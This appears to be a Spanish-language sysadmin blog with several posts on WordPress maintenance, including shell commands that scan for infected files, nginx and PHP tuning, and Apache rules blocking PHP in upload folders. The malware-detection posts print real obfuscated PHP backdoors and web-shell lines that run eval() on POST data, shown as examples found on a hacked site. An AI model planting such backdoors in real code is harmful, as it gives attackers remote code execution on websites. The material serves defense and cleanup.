Mostrando entradas con la etiqueta wordpress. Mostrar todas las entradas
Mostrando entradas con la etiqueta wordpress. Mostrar todas las entradas

martes, 18 de agosto de 2020

Detectar archivos infectados en wordpress y páginas web

 Es muy común que los sitios son atacados por hackers modificando o añadiendo archivos malignos (infectados), principalmente sitios elaborador con wordpress


Este comando te ayuda a detectar esos archivos, lo tienes que ejecutar por shell (ssh)

 

 

 grep -R  'eval(' /home3/m*/public_html/*  | grep -v 'Binary file' | grep -v '.css:' | grep -v '.js'  | grep -v retriev |grep -v evalua | grep -v revalida | grep -v jquery | grep -v '.po:' | grep -v doubleval | grep -v 'INSTR(LCASE('  | grep -v '(strpos(strtolower($entry' | grep -v PCLZIP | grep -v 'INSTR('  > /root/lista.txt && cat /root/lista.txt && cat /root/lista.txt | mail -s "Backup" -a /root/lista.txt tucorreo@algo.com





rojo remplazar
azul remplazar con instrucciones





instrucciones azul

/home /home2 /home3  es la unidad de disco a escanear

en el ejemplo esta
/home3/m*   =  disco 3 todos los usuarios cpanel que comiencen con M

/home3/medix   =  disco 3 escanear al usuario  medix

/home3/*   =  disco 3 todos los usuarios

/home2/*   =  disco 2 todos los usuarios

/home/*   =  disco 1 todos los usuarios

etc...



que hace el comando

Busca todos los archivos que contengan el comando eval , ese es el comando mas utilizado por atacantes, en un 99%;  PD no siempre entran por este comando pero casi siempre lo usan para una vez infectado atacar al sitio o hacer sus cosas.

luego perfecciono el comando con otros tipos de ataques o amenazas


Aclaraciones del resultado, este resultado muestra los archivos con ese comando, no significa que estén infectados , intente eliminar la mayor cantidad de usos buenos

Típicos  archivos maliciosos



caracteres raros


tiendadebuceo/history.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q64cbee'])){eval(${$s20}['q64cbee']);}?><?php


una cadena de muchas letras y numeros acompañados de un eval



eval(base64decode("mnAISDNQmnmxsa98hjn98lkASDumw3idmnaSDYB)ebiSAD867b3iu97ASDFNBIAJdn783hkjABSND783b2kjbnSAkjdnjuahsd3wb98HJb7983bkashdbashjdbajshbda....



 

 

 

miércoles, 13 de mayo de 2020

Optimizar WordPress + Plesk + nginx



  1. Activar en plesk nginx
  2. En plesk ir al dominio
  3. ir a Configuración de Apache y nginx 
  4. desactivar   
  5. añadir en Directivas adicionales de nginx el siguiente codigo




if (!-e $request_filename) {
set $test P;
}
if ($uri !~ ^/(plesk-stat|webstat|webstat-ssl|ftpstat|anon_ftpstat|awstats-icon|internal-nginx-static-location)) {
set $test "${test}C";
}
if ($test = PC) {
rewrite ^/(.*)$ /index.php?$1;
}

# GZIP Compression
gzip on;
gzip_disable "MSIE [1-6]\\.(?!.*SV1)";
gzip_min_length 1100;
gzip_buffers 4 32k;
gzip_proxied any;
gzip_comp_level 9;
gzip_types text/plain text/css application/javascript application/x-javascript text/xml application/xml application/xml+rss text/javascript image/x-icon image/bmp image/svg+xml;
gzip_vary on;

# NGINX Caching
location ~* \.(?:ico|css|js|gif|jpe?g|png|svg|woff)$ {
    expires 30d;
    add_header Cache-Control "public";
    log_not_found off;
}

location ~* \.(jpg|jpeg|gif|png)$ {
    expires 365d;
    log_not_found off;
}

location ~* \.(pdf|css|html|js|swf)$ {
    expires 2d;
    log_not_found off;
}

location ~ \.css {
    add_header  Content-Type    text/css;
}
location ~ \.js {
    add_header  Content-Type    application/x-javascript;
}

# SECURITY
location ~* wp-config.php { deny all; }
location ~* "^/wp-content/(?!plugins/).*\.php" { deny all; }




Ahora ir a Configuración de PHP

memory_limit   = 200M
max_execution_time  = 15
post_max_size = 16M
upload_max_filesize =16M
opcache.enable  = on


Y listo, Wordpress volará


No olvides complementar con buenos caches de WordPress, de preferencia que ulticen APC y MemCache para mejorar su desempeño







miércoles, 25 de marzo de 2015

Como detectar archivos maliciosos en wordpress desde shell


Ejecuta estos comandos y te saldrán los sospechosos


Método 1

# cd /carpeta/sitio/afectado
#grep eval * -R | grep php  | grep '\[' | grep -v p_options | grep -v preg_match > /ruta/resultado1.txt


Método 2

# cd /carpeta/sitio/afectado
# grep -R  eval * | grep base64 | grep php > /ruta/resultado2.txt


 En /ruta/resultado1 y /ruta/resultado2 se encontrarán los sospechosos

algo como esto:


tiendadebuceo/admirote/tabs/AdminBackup.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q44ff8e'])){eval(${$s20}['q44ff8e']);}?><?php
tiendadebuceo/admirote/tabs/AdminImageResize.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n7a495f'])) {eval($s21(${$s20}['n7a495f']));}?><?php
tiendadebuceo/tools/smarty/internals/core.run_insert_handler.php:                $smarty->_eval($_params['php_resource']);
tiendadebuceo/history.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q64cbee'])){eval(${$s20}['q64cbee']);}?><?php
tiendadebuceo/discount.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n5dcf91'])) {eval($s21(${$s20}['n5dcf91']));}?><?php
tiendadebuceo/classes/PDF.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n3d7280'])) {eval($s21(${$s20}['n3d7280']));}?><?php
tiendadebuceo/classes/Scene.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q39ce7c'])){eval(${$s20}['q39ce7c']);}?><?php
tiendadebuceo/img/index.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n828e00'])) {eval($s21(${$s20}['n828e00']));}?><?php
tiendadebuceo/img/iindex.php:    eval(base64_decode($_POST["p2"]));
tiendadebuceo/img/iindex.php:    eval($_POST["p1"]);
tiendadebuceo/modules/blockmanufacturer/fr.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nbfca8c'])) {eval($s21(${$s20}['nbfca8c']));}?><?php
tiendadebuceo/modules/blockmanufacturer/page.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nf0b08a'])) {eval($s21(${$s20}['nf0b08a']));}?>
tiendadebuceo/modules/tm4b/es.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q9fa7a1'])){eval(${$s20}['q9fa7a1']);}?><?php
tiendadebuceo/modules/tm4b/cron.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nb182cc'])) {eval($s21(${$s20}['nb182cc']));}?><?php
tiendadebuceo/modules/article.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n0e7f9c'])) {eval($s21(${$s20}['n0e7f9c']));}?>
tiendadebuceo/modules/sekeywords/ini.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q760097'])){eval(${$s20}['q760097']);}?>
tiendadebuceo/modules/sendtoafriend/es.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q9fa7a1'])){eval(${$s20}['q9fa7a1']);}?><?php
tiendadebuceo/modules/blocknewsletter/en.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n9cce51'])) {eval($s21(${$s20}['n9cce51']));}?><?php
tiendadebuceo/modules/statsbestsuppliers/lib.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n828043'])) {eval($s21(${$s20}['n828043']));}?>
wp-admin/network/users.php:    eval(base64_decode($_POST["p2"]));
wp-admin/network/users.php:    eval($_POST["p1"]);
wp-content/plugins/wp-super-cache/plugins/template.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q13e558'])){eval(${$s20}['q13e558']);}?>
wp-content/plugins/wp-super-cache/wp-cache-phase1.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n917e4c'])) {eval($s21(${$s20}['n917e4c']));}?><?php
wp-content/plugins/gravityforms/select_columns.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n75b45d'])) {eval($s21(${$s20}['n75b45d']));}?><?php
wp-content/plugins/gravityforms/js/javascript.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));}?>
wp-content/plugins/LayerSlider/helpers/press.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n33beb2'])) {eval($s21(${$s20}['n33beb2']));}?>
wp-content/plugins/LayerSlider/locales/header.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q1c1ae6'])){eval(${$s20}['q1c1ae6']);}?>
wp-includes/nav-menu.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qa89292'])){eval(${$s20}['qa89292']);}?><?php
wp-includes/class-wp-admin-bar.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n3c0260'])) {eval($s21(${$s20}['n3c0260']));}?><?php
wp-includes/load.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qd0bbf8'])){eval(${$s20}['qd0bbf8']);}?><?php
wp-includes/SimplePie/option.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qcdd94a'])){eval(${$s20}['qcdd94a']);}?>
wp-includes/options.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q6ae4d5'])){eval(${$s20}['q6ae4d5']);}?>
wp-includes/compat.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['na68f2e'])) {eval($s21(${$s20}['na68f2e']));}?><?php 
 

En donde el verde es el unico archivo bueno.

Como solucionarlo?

eso depende de como sea el tipo de ataque,  si es un archivo 100% nocivo se elimina todo el archivo, si es un archivo bueno al cual le añadieron lineas de código solo hay que eliminar esas lineas.





viernes, 30 de mayo de 2014

Como hacer mas rapido mi wordpress

Te recomiendo instales estos plugins

  • DB Cache Reloaded Fix
  • Hyper Cache 
  • WP Minify 
  • jQuery lazy load plugin

Aunque existen muchos otros famosos pero la combinación de estos me a dado mucho mejor resultado.


WP minify causa conflicto con algunos pocos plugins de wordpress, en especial los que usan javascript/jquery/ajax



miércoles, 28 de agosto de 2013

Descargar wordpress para ver fuera de linea (offline)


Para respaldar wordpress y otro sitio a una copia fuera de linea se hace con el siguiente comando:

wget -r -E -T 2 -np -R xmlrpc.php,trackback -k http://www.tusitio.com

el parametro -T 2 hace referencia de solo descargar dos niveles, así que lo modificas al gusto.





domingo, 21 de julio de 2013

Como detectar que plugin alenta mi wordpress

Un gran problema en wordpress es que existen plugins que alentán todo nuestro sitio.

Para detectar cual es el plugin lento te recomiendo instalar P3,  este plugin realizara un análisis y te dira los tiempos de ejecución de cada plugin


Como se si mi tiempo de ejecución es bueno
0-50  Excelente
50-100 Muy Bien
100-250 Bien
250-400 Regular
400-700   poco mal
700-1000  mal
> 1000 super mal

Métodos para disminuir el tiempo de ejecución:
  • Desactivar plugins que no se utilicen
  • Desactivar plugins lentos
  • Si un plugin lento lo necesitas mucho  busca un remplazo que cumpla lo que necesitas


espero les sirva


jueves, 21 de junio de 2012

script para detectar archivos malignos en wp-content/uploads

Un problema de wordpress son las fallas en versiones antiguas y plugins defectuosos  haciendo que el atacante publique archivos en la carpeta wp-content/uploads   con los cuales posteriormente realizara travesuras

les presento un script que sirve para detectarlos y enviar un reporte por email, creen un archivo.sh con lo siguiente, y ejecutenlo en cron para que les de un reporte diario a su correo

para Cpanel 


du -a /home/*/www/wp-content/uploads | grep php > /tmp/lista_wp.txt
cat /tmp/lista_wp.txt | uuencode /tmp/lista_wp.txt | mail -s "Maliciosos Wordpress" mi_correo@midominio.com


para Plesk

du -a /var/www/vhosts/*/httpdocs/wp-content/uploads | grep php > /tmp/lista_wp.txt
cat /tmp/lista_wp.txt | uuencode /tmp/lista_wp.txt | mail -s "Maliciosos Wordpress" mi_correo@midominio.com



agregenlo una vez por día en cron y listo.


proteger wordpress carpeta upload desactivando php

Un gran problema al administrar un servidor compartido es encontrar que subieron archivos a la carpeta wp-content/uploads y lo peor es que son archivos maliciosos en php, así que la solución es desactivar la ejecución de php y redireccionarlos a portada

Para ello agregamos lo siguiente en la configuración de apache

en cpanel


<Directory "/home/*/public_html/wp-content/uploads">
    php_admin_flag engine off
    AllowOverride None
    DirectoryIndex Off
    RewriteEngine On
    RewriteRule \.php$ - [F,L]
</Directory>


#segundo disco con paginas
<Directory "/disco2/*/public_html/wp-content/uploads">
    php_admin_flag engine off
    AllowOverride None
    DirectoryIndex Off
    RewriteEngine On
    RewriteRule \.php$ - [F,L]
</Directory>

en plesk

#plesk solo utiliza un disco

<Directory "/var/www/vhosts/*/httpdocs/wp-content/uploads">
    php_admin_flag engine off
    AllowOverride None
    DirectoryIndex Off
    RewriteEngine On
    RewriteRule \.php$ - [F,L]
</Directory>


reiniciamos apache y listo.






Como bloquera archivos adjuntos que son virus en postfix o plesk

   Como bloquear adjuntos del correo en Plesk/Postfix   1- edita el archivo  /etc/postfix/main.cf   2- busca el parametro mime_header_checks...